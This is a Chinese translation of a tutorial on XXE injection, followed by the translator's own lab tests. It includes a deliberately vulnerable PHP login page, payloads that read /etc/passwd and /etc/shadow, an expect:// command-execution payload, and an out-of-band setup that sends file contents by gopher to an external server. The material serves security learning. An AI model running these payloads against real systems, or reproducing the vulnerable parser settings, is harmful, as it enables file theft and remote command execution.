原文链接:Attacking XML with XML External Entity Injection (XXE)

XXE:使用XML外部实体注入攻击XML

  在XML中,有一种注入外部文件的方式。长久以来,自动XML解析器(在后端使用libxml2)默认启用。因此,使用XML来格式化和传递数据的站点是存在漏洞的。

  XML经常被这样使用,一些常规的猜想是一些API发起SOAP请求和Javascript / Ajax使用XML传递数据。

建立你的测试平台

  对于基于web的攻击,我喜欢在Mutillidae还有Metasploitable 2上测试一些东西。最新版的Mutillidae有个整洁的页面来尝试这种攻击,但Metasploitable 2上却没有。所以,我喜欢写个简单的PHP页面来进行测试。

  使用Kali Linux, 在/var/www目录下写入名为xmlinject.php的文件。内容如下:

<?php
libxml_disable_entity_loader (false);
$xmlfile = file_get_contents('php://input');
$dom = new DOMDocument();
$dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD); // this stuff is required to make sure
$creds = simplexml_import_dom($dom);
$user = $creds->user;
$pass = $creds->pass; echo “You have logged in as user $user”;
?>

  这个文件期待接收XML内容。预期的XML内容类似于以下内容,命名为xml.txt:

<creds>
<user>admin</user>
<pass>mypass</pass>
</creds>

  使用命令启动Apache2服务: service apache2 start

  你可以使用各种各样的方式来发送XMl数据内容, 但是对于这个例子,我会创建一个简单的文件名为xml.txt,然后使用curl命令发送...

curl -d @xml.txt http://localhost/xmlinject.php

  一般情况下,你可能会使用curl, 或者使用BurpSuite代理或Zap或其他类似的工具来捕获网络流量。

  需要指出的是,这些PHP代码并不是必须的。但是,您运行固定版本的libxml2的机会不大,为了做演示的目的,代码会关闭外部实体保护。

攻击

我如何发现一个存在漏洞的主机?

  正如前面所提到的,这个在使用Ajax的应用程序中的一个API的SOAP请求或者Javascript请求。试着在任何传输XML信息的地方进行尝试。

我如何攻击这个(存在漏洞的)主机?

  在这个例子中,不管"user"域中的数据时什么都会返回。如果你想读取/etc/passwd文件,新的恶意XML将会像如下的样子:

<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE foo [
<!ELEMENT foo ANY >
<!ENTITY xxe SYSTEM "file:///etc/passwd" >]>
<creds>
<user>&xxe;</user>
<pass>mypass</pass>
</creds>

  发送这些内容来测试PHP文件,将会返回/etc/passwd的内容。

  正如你所见,你通过"user"域注入了外部文件的内容。

  但我们要做的不仅仅是这样。如果PHP安装了"expect"模块(你可以通过“apt-get install libexpect-php5″ and restart Apache来进行安装),你还可以进行命令注入。试着将XML改成如下的样子:

<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE foo [
<!ELEMENT foo ANY >
<!ENTITY xxe SYSTEM "expect://id" >]>
<creds>
<user>&xxe;</user>
<pass>mypass</pass>
</creds>

  现在,你将得到执行"id"命令返回的结果。

  还有一些其他的东西可以尝试,想各种不同类型的DOS攻击(如果你注入/dev/random将会发生什么?),例如一般或递归实体扩展。

引用:

https://www.owasp.org/index.php/XML_External_Entity_%28XXE%29_Processing
http://phpsecurity.readthedocs.org/en/latest/Injection-Attacks.html
http://stackoverflow.com/questions/24117700/clarifications-on-xxe-vulnerabilities-throughout-php-versions

-----------------------------------------------------------------------------------------------------------------------------------------------

------------------------------------------------------------------ 悲壮的分割线 ------------------------------------------------------------------

-----------------------------------------------------------------------------------------------------------------------------------------------

我的测试

大大们,上面的方法我没有成功啊,不管是在kali还是ubuntu下就是没有成功啊。然后就在Win XP XAMPP上做实验啦!

测试一:本地环境

目的靶机:192.168.1.111  页面文件:C:\xampp\htdocs\xmlinject.php(内容同上)    [windows平台下的XAMPP]

【sample 1】在我的做法是这样的,用burp拦截请求=>Send to Repeater

请求数据:

POST /xmlinject.php HTTP/1.1
Host: 192.168.1.111
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.12; rv:55.0) Gecko/20100101 Firefox/55.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
DNT: 1
Connection: close
Upgrade-Insecure-Requests: 1
Content-Length: 62 <creds>
<user>admin</user>
<pass>mypass</pass>
</creds>

Sample 1

【Sample 2】方法同上,请求的数据如下:

POST /xmlinject.php HTTP/1.1
Host: 192.168.1.111
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.12; rv:55.0) Gecko/20100101 Firefox/55.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
DNT: 1
Connection: close
Upgrade-Insecure-Requests: 1
Content-Length: 197 <?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE foo [
<!ELEMENT foo ANY >
<!ENTITY xxe SYSTEM "file:///c:/windows/win.ini" >]>
<creds>
<user>&xxe;</user>
<pass>mypass</pass>
</creds>

Sample 2

测试二:AWVS

[Sample 3]

  另外AWVS也提供了一个测试环境,现记录如下:

  AWVS test site: http://testhtml5.vulnweb.com/ , 点击右上角的Login,然后抓Forget Pwd?这个包 => Send to Repeater

  再用下面这段代码测试:

<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE foo [
<!ELEMENT foo ANY >
<!ENTITY xxe "testing" >]>
<forgot><username>&xxe;</username></forgot>

  说明存在XXE漏洞,但是读了半天,也没读出文件呐 ~ 走过路过的大佬,希望给点提示啊 ~

测试三:高级用法

  好像是OOB...

  这里还是利用测试一中的例子,在VPS的web根目录下创建该文件:oob_poc.xml,内容如下:

root@ubuntu-512mb-sfo2-:~# cat /var/www/html/oob_poc.xml
<!ENTITY % payload SYSTEM "file:///C:/windows/win.ini">
<!ENTITY % int "<!ENTITY % trick SYSTEM 'gopher://165.227.29.209:3333/1%payload;'>">
%int;
%trick;

  其中的ip地址,换成你的ip地址,监听的是3333端口。

<?xml version="1.0" encoding="UTF-8" standalone="no"?>
<!DOCTYPE root [
<!ENTITY % remote SYSTEM "http://165.227.29.209/oob_poc.xml">
%remote;
]>

  修改一下oob_poc.xml中的payload:

root@ubuntu-512mb-sfo2-01:~# cat /var/www/html/oob_poc.xml
<!ENTITY % payload SYSTEM "file:///C:/boot.ini">
<!ENTITY % int "<!ENTITY % trick SYSTEM 'gopher://165.227.29.209:3333/1%payload;'>">
%int;
%trick;

  发送的payload还是上面那个...

  返回的内容有点乱,可能是版本的问题吧。

攻击向量

  下面主要是一些常用的攻击向量(Attack Vector),现收集如下:

  远程代码执行,需要开启expect模块,略麻烦...

<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE foo [ <!ELEMENT foo ANY >
<!ENTITY xxe SYSTEM "expect://id" >]>
<creds>
<user>&xxe;</user>
<pass>mypass</pass>
</creds>

  读取文件:

<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE foo [
<!ELEMENT foo ANY >
<!ENTITY xxe SYSTEM "file:///etc/passwd" >]><foo>&xxe;</foo> <?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE foo [
<!ELEMENT foo ANY >
<!ENTITY xxe SYSTEM "file:///etc/shadow" >]><foo>&xxe;</foo> <?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE foo [
<!ELEMENT foo ANY >
<!ENTITY xxe SYSTEM "file:///c:/boot.ini" >]><foo>&xxe;</foo>
<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE foo [
<!ELEMENT foo ANY >
<!ENTITY xxe SYSTEM "http://www.attacker.com/text.txt" >]><foo>&xxe;</foo>

参考资料:

  OWASP: XML External Entity (XXE) Processing

 

【译】Attacking XML with XML External Entity Injection (XXE)的更多相关文章

  1. XML External Entity Injection(XXE)

    写在前面 安全测试fortify扫描接口项目代码,暴露出标题XXE的问题, 记录一下.官网链接: https://www.owasp.org/index.php/XML_External_Entity ...

  2. 4.XXE (XML External Entity Injection)

    XXE (XML External Entity Injection) 0x01 什么是XXE XML外部实体注入 若是PHP,libxml_disable_entity_loader设置为TRUE可 ...

  3. Fortify漏洞之XML External Entity Injection(XML实体注入)

    继续对Fortify的漏洞进行总结,本篇主要针对  XML External Entity Injection(XML实体注入) 的漏洞进行总结,如下: 1.1.产生原因: XML External ...

  4. Microsoft Internet Explorer v11 XML External Entity Injection 0day

    [+] Credits: John Page (aka hyp3rlinx) [+] Website: hyp3rlinx.altervista.org[+] Source:  http://hyp3 ...

  5. XML External Entity attack/XXE攻击

    XML External Entity attack/XXE攻击   1.相关背景介绍 可扩展标记语言(eXtensible Markup Language,XML)是一种标记语言,被设计用来传输和存 ...

  6. XXE (XML External Entity Injection) 外部实体注入漏洞案例分析

    ENTITY 实体 在一个甚至多个XML文档中频繁使用某一条数据,我们可以预先定义一个这条数据的“别名”,即一个ENTITY,然后在这些文档中需要该数据的地方调用它. XML定义了两种类型的ENTIT ...

  7. Microsoft Compiled HTML Help / Uncompiled .chm File XML External Entity

    [+] Credits: John Page (aka hyp3rlinx) [+] Website: hyp3rlinx.altervista.org[+] Source:  http://hyp3 ...

  8. Portswigger web security academy:XML external entity (XXE) injection

    Portswigger web security academy:XML external entity (XXE) injection 目录 Portswigger web security aca ...

  9. XXE(XML External Entity attack)XML外部实体注入攻击

    导语 XXE:XML External Entity 即外部实体,从安全角度理解成XML External Entity attack 外部实体注入攻击.由于程序在解析输入的XML数据时,解析了攻击者 ...

随机推荐

  1. UEditor前端配置项说明

    UEditor 的配置项分为两类:前端配置项 和 后端配置项 后端配置项具体看这个文档L:后端配置项说明 本文档介绍如何通过设置前端配置项,定制编辑器的特性,配置方法主要通过修改ueditor.con ...

  2. Git(未完待续)

    Git的历史咱们就不多说来,我还是喜欢直白点,直接来干货吧 在Linux上安装Git 不同的系统不同的安装命令,基础的就不说来,centos直接yum就ok. 安装完成后,还需要最后一步设置,在命令行 ...

  3. BZOJ 2190 仪仗队(线性筛欧拉函数)

    简化题意可知,实际上题目求得是gcd(i,j)=1(i,j<=n)的数对数目. 线性筛出n大小的欧拉表,求和*2+1即可.需要特判1. # include <cstdio> # in ...

  4. 【三】shiro入门 之 Realm

    Realm:域,Shiro 从从Realm获取安全数据(如用户.角色.权限),就是说SecurityManager要验证用户身份,那么它需要从Realm获取相应的用户进行比较以确定用户身份是否合法:也 ...

  5. [十五]SpringBoot 之 启动加载数据

    实际应用中,我们会有在项目服务启动的时候就去加载一些数据或做一些事情这样的需求. 为了解决这样的问题,spring Boot 为我们提供了一个方法,通过实现接口 CommandLineRunner 来 ...

  6. BZOJ5011 JXOI2017颜色(主席树)

    相当于求满足在子段中出现的颜色只在该子段中出现的非空子段数量.这也就相当于其中出现的颜色最左出现的位置在左端点右侧,最右出现的位置在右端点左侧.那么若固定某个端点,仅考虑对该端点的限制,会有一段合法区 ...

  7. BZOJ4152:[AMPPZ2014]The Captain——题解

    https://www.lydsy.com/JudgeOnline/problem.php?id=4152 给定平面上的n个点,定义(x1,y1)到(x2,y2)的费用为min(|x1-x2|,|y1 ...

  8. 洛谷U14667 肝活动【比赛】 【状压dp】

    题目描述 Yume 最近在玩一个名为<LoveLive! School idol festival>的音乐游戏.他之所以喜欢上这个游戏,是因为这个游戏对非洲人十分友好,即便你脸黑到抽不出好 ...

  9. syntax error: non-declaration statement outside function body

    在函数外部使用形如:name:="mark"这样语句会出现 syntax error: non-declaration statement outside function bod ...

  10. Linux之静态库与动态库20160706

    所谓静态链接是指把要调用的函数或者过程链接到可执行文件中,成为可执行文件的一部分.当多个程序都调用相同函数时,内存中就会存在这个函数的多个拷贝,这样就浪费了宝贵的内存资源..so文件是共享库文件(动态 ...